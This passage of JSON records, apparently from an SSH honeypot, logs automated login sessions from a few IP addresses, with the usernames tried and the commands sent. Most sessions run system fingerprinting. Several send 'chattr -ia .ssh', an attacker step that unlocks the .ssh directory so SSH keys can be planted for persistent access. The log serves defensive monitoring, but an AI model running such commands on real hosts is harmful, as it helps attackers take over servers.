  "src_ip": "77.239.124.249",
  "src_port": 54878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 709,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:06.150250+00:00",
  "ended_at": "2026-08-26T13:50:09.419632+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1451c410-02c8-4f27-8be8-f5a35e8dd8d3",
  "name": "frosty-fringed-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43940,
  "username": "aiuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:02.157545+00:00",
  "ended_at": "2026-08-26T13:50:14.994802+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6e24c3f8-99c5-4d18-b095-14b6b033502d",
  "name": "pleasant-tranquil-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:49:41.900181+00:00",
  "ended_at": "2026-08-26T13:49:43.221617+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "0af7d103-2e98-4bdb-876a-147ebe8b9ad0",
  "name": "honest-thrifty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40606,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 753,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:49:39.315397+00:00",
  "ended_at": "2026-08-26T13:49:40.995564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2085
 },
 {
  "id": "e3d7fc27-f60c-4692-9894-6a413fbdbe25",
  "name": "lofty-quartz-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:49:37.995054+00:00",
  "ended_at": "2026-08-26T13:49:42.000917+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27957376-b113-4393-b5b5-a655e0bf295e",
  "name": "ginger-arctic-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:49:21.646119+00:00",
  "ended_at": "2026-08-26T13:49:26.313801+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e3e8ab8-3f0e-4545-85b3-1b1841d28993",
  "name": "sturdy-primal-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57390,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 619,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:49:17.874212+00:00",
  "ended_at": "2026-08-26T13:49:21.032455+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4316dea-2fa3-480e-8f81-b8e43823b127",
  "name": "icy-seaward-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60212,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:16.475061+00:00",
  "ended_at": "2026-08-26T13:49:17.781965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0008d69-3daa-41b3-81e3-cf0329c83e2e",
  "name": "ginger-whispering-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40608,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:16.311970+00:00",
  "ended_at": "2026-08-26T13:49:18.449908+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de96bcc7-318b-49ca-a1ed-52230b71324c",
  "name": "curious-salty-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60200,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:14.650406+00:00",
  "ended_at": "2026-08-26T13:49:15.874491+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acafe76b-2fdf-46f8-b8b7-ee885a5f0dce",
  "name": "sooty-ruddy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40607,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:13.929675+00:00",
  "ended_at": "2026-08-26T13:49:14.812681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72a71825-a8b7-42f7-a352-ce148420377e",
  "name": "quartz-sleepy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:55.062946+00:00",
  "ended_at": "2026-08-26T13:49:00.190339+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6086b688-1a2b-44b4-a24a-ae5d241b2fc6",
  "name": "glacial-painted-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:52.822122+00:00",
  "ended_at": "2026-08-26T13:48:58.237440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4fc3d722-c47e-4e4e-994e-f8c4ff4c905a",
  "name": "languid-wooded-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37134,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:29.728075+00:00",
  "ended_at": "2026-08-26T13:48:34.449380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8975d5a0-5120-48c9-82cd-d0b0e5b7cf72",
  "name": "diligent-watchful-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:16.381686+00:00",
  "ended_at": "2026-08-26T13:48:20.267617+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "112bc0c8-1b36-401d-b075-8bc138dd350a",
  "name": "solemn-knotted-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35256,
  "username": "amin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 670,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:09.457280+00:00",
  "ended_at": "2026-08-26T13:48:13.181789+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3da272aa-5658-4472-8ec7-312731aed7f2",
  "name": "airy-craggy-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52348,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 565,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:47:53.425900+00:00",
  "ended_at": "2026-08-26T13:47:56.468717+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7a8cb551-33e6-41ca-aae1-021614cb34a5",
  "name": "kindly-fierce-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48822,
  "username": "hu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 505,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:47:48.681542+00:00",
  "ended_at": "2026-08-26T13:47:51.914274+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf5b002b-cfcb-4b2e-a989-9c3178182dda",
  "name": "dutiful-sullen-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58848,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:47:47.223333+00:00",
  "ended_at": "2026-08-26T13:47:49.210270+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2094
 },
 {
  "id": "d142edfd-d31e-4d47-ae82-8054ae3d502f",
  "name": "wandering-plush-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59526,
  "username": "drcomadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:40.741416+00:00",
  "ended_at": "2026-08-26T13:47:48.366249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7519db56-a8e5-42d8-a4d1-a0b0c2a03625",
  "name": "downy-sandy-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37164,
  "username": "cursor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:39.933366+00:00",
  "ended_at": "2026-08-26T13:47:47.715221+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b90bc680-2b58-4bdd-9c60-582a70df2d59",
  "name": "calm-gnarled-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44326,
  "username": "drcomadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:47:35.451165+00:00",
  "ended_at": "2026-08-26T13:47:48.365222+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1666
 },
 {
  "id": "f7f7fbe6-bd40-4117-864e-a95e2115cbcc",
  "name": "meadow-forlorn-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51132,
  "username": "cursor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 509,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:47:32.767132+00:00",
  "ended_at": "2026-08-26T13:47:47.713626+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "00a9ddf9-18b7-4090-8623-989496ad4ded",
  "name": "curious-gnarled-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49736,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:28.494697+00:00",
  "ended_at": "2026-08-26T13:47:32.194181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39030d49-2b8a-4bd4-8406-ba530c175953",
  "name": "gritty-faded-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56528,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:25.338253+00:00",
  "ended_at": "2026-08-26T13:47:26.804998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "789f4485-21e2-4434-a67b-dd961853b80c",
  "name": "feathered-leafy-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56524,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:23.949081+00:00",
  "ended_at": "2026-08-26T13:47:24.771263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5249d50a-8841-470f-b4f4-32512b227392",
  "name": "gleaming-frank-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43228,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:47:22.561224+00:00",
  "ended_at": "2026-08-26T13:47:32.192786+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "ab16ca17-a9d5-4c27-9a60-3452b2bdc134",
  "name": "sterling-stoic-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40603,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:46:55.311183+00:00",
  "ended_at": "2026-08-26T13:46:56.925106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "611ce416-a9d7-4353-b67c-3e4589581e8b",
  "name": "chilly-tangled-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:50.038043+00:00",
  "ended_at": "2026-08-26T13:46:53.278726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42747c61-2470-46f3-887f-24b4789f3c36",
  "name": "ancient-dutiful-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:42.328052+00:00",
  "ended_at": "2026-08-26T13:46:47.142433+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1c4d0134-751b-4c17-94c1-b8ca049790d7",
  "name": "boreal-arctic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40605,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:46:33.352527+00:00",
  "ended_at": "2026-08-26T13:46:35.264851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "149a062c-2ee8-4365-80a6-36ac1e97b31a",
  "name": "bronzed-salty-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56638,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:32.289025+00:00",
  "ended_at": "2026-08-26T13:46:35.865840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1bf290d2-4991-472f-affc-b832b092c114",
  "name": "dutiful-cobalt-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:46:30.324607+00:00",
  "ended_at": "2026-08-26T13:46:31.857455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cfede32-c8a5-4851-b53d-a3da86e9783c",
  "name": "orderly-grumpy-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57654,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 501,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:13.118144+00:00",
  "ended_at": "2026-08-26T13:46:17.331566+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07b65fe8-425e-4b9b-90a3-dce51fb369ef",
  "name": "lunar-restless-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55342,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:59.682989+00:00",
  "ended_at": "2026-08-26T13:46:05.837282+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "67621ec1-0290-4adb-afe7-96f73ed9d959",
  "name": "bashful-sturdy-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40224,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:57.468480+00:00",
  "ended_at": "2026-08-26T13:46:02.204296+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb7413ea-8ef5-458d-9ae3-1db2b223d063",
  "name": "early-blunt-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 54674,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:45:52.160935+00:00",
  "ended_at": "2026-08-26T13:45:53.165272+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2076
 },
 {
  "id": "108e615d-2368-4e6a-832c-8efc558c1fa3",
  "name": "murky-stormy-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49824,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:51.501849+00:00",
  "ended_at": "2026-08-26T13:46:02.205499+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "3779d44f-2585-4132-895f-a61258f73d2c",
  "name": "muted-amber-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54694,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:38.451660+00:00",
  "ended_at": "2026-08-26T13:45:40.021744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac70d5cf-0c07-425d-ad91-b202aef11d52",
  "name": "alpine-amiable-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:36.554109+00:00",
  "ended_at": "2026-08-26T13:45:37.871635+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2232d01d-ff16-493b-b286-a8d405145857",
  "name": "weathered-ashen-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58909,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:32.949291+00:00",
  "ended_at": "2026-08-26T13:45:37.568378+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c52aaa41-8fe9-4486-9d31-63722580895e",
  "name": "lofty-dusty-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 627,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:24.157503+00:00",
  "ended_at": "2026-08-26T13:45:29.570756+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f1dd7895-02b3-4339-b925-ae8d8df5bda2",
  "name": "western-reedy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36736,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 367,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:17.344104+00:00",
  "ended_at": "2026-08-26T13:45:23.651518+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b635a665-3087-4e32-862d-360c2fd1fdf4",
  "name": "zealous-hollow-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55326,
  "username": "test3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:03.445673+00:00",
  "ended_at": "2026-08-26T13:45:08.046397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ec323c6-a000-4f62-a276-91fe059f81ca",
  "name": "supple-painted-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:02.405518+00:00",
  "ended_at": "2026-08-26T13:45:05.691780+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "28d7e8f0-6ade-4a25-90f0-99bc462e97f1",
  "name": "zealous-lawful-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59582,
  "username": "test3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 397,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:44:57.048219+00:00",
  "ended_at": "2026-08-26T13:45:08.045440+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1654
 },
 {
  "id": "5be9c8d2-815e-46a4-986e-807f1e3f4d87",
  "name": "tender-mellow-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42198,
  "username": "tempuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:44:48.317080+00:00",
  "ended_at": "2026-08-26T13:44:51.743826+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bab6054-eafd-4216-bf82-24d343e97b78",
  "name": "early-graceful-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38654,
  "username": "tempuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 789,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:44:43.250394+00:00",
  "ended_at": "2026-08-26T13:44:51.745877+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "6be51bd8-1cf8-4010-852a-a22667fa9eec",
  "name": "hushed-hazel-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36748,
  "username": "core",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:44:26.212267+00:00",
  "ended_at": "2026-08-26T13:44:31.626234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90f77a26-cc4e-49ec-988a-631d10bd4c41",
  "name": "craggy-polar-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42384,
  "username": "core",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 505,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:44:18.002729+00:00",
  "ended_at": "2026-08-26T13:44:31.627474+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "3e305b63-27ff-4c22-adbc-2255c0eb3f4a",
  "name": "indigo-painted-grouse",
